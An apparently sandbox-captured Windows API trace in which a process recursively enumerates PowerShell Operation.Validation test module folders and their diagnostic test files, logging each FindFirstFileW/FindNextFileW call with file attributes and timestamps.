	[0182.672] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\*", lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76f1a8
	[0182.673] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.673] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e755b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0182.673] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4121010
	[0182.673] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\*", lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e755b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ea28
	[0182.674] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e755b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.674] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1
	[0182.674] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4131018
	[0182.674] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4141290
	[0182.674] FindNextFileW (in: hFindFile=0x4141290, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.674] FindNextFileW (in: hFindFile=0x4141290, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.674] FindNextFileW (in: hFindFile=0x4141290, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0
	[0182.674] FindClose (in: hFindFile=0x4141290 | out: hFindFile=0x4141290) returned 1
	[0182.674] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4131018 | out: hHeap=0x710000) returned 1
	[0182.674] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0182.674] FindClose (in: hFindFile=0x76ea28 | out: hFindFile=0x76ea28) returned 1
	[0182.674] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4121010 | out: hHeap=0x710000) returned 1
	[0182.674] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 1
	[0182.675] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 0
	[0182.675] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0182.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.675] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0
	[0182.675] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0182.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0182.677] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 1
	[0182.677] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4183f70
	[0182.677] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\*", lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f168
	[0182.677] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.678] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e85b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1.1", cAlternateFileName="11D0A5~1.1")) returned 1
	[0182.678] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4151fa0
	[0182.678] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\*", lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e85b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76f1a8
	[0182.678] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e85b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.678] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0182.678] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4121010
	[0182.679] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\*", lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ea28
	[0182.679] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.679] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1
	[0182.679] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4131018
	[0182.679] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4141350
	[0182.679] FindNextFileW (in: hFindFile=0x4141350, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.679] FindNextFileW (in: hFindFile=0x4141350, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3A.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.680] FindNextFileW (in: hFindFile=0x4141350, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3A.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0
	[0182.680] FindClose (in: hFindFile=0x4141350 | out: hFindFile=0x4141350) returned 1
	[0182.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4131018 | out: hHeap=0x710000) returned 1
	[0182.680] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0182.680] FindClose (in: hFindFile=0x76ea28 | out: hFindFile=0x76ea28) returned 1
	[0182.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4121010 | out: hHeap=0x710000) returned 1
	[0182.680] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0
	[0182.680] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0182.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.680] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 1
	[0182.680] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4151fa0
	[0182.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\*", lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76f1a8
	[0182.680] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.680] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0182.680] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4121010
	[0182.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\*", lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ea28
	[0182.681] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.681] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1
	[0182.681] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4131018
	[0182.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4141ad0
	[0182.681] FindNextFileW (in: hFindFile=0x4141ad0, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.681] FindNextFileW (in: hFindFile=0x4141ad0, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3B.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1
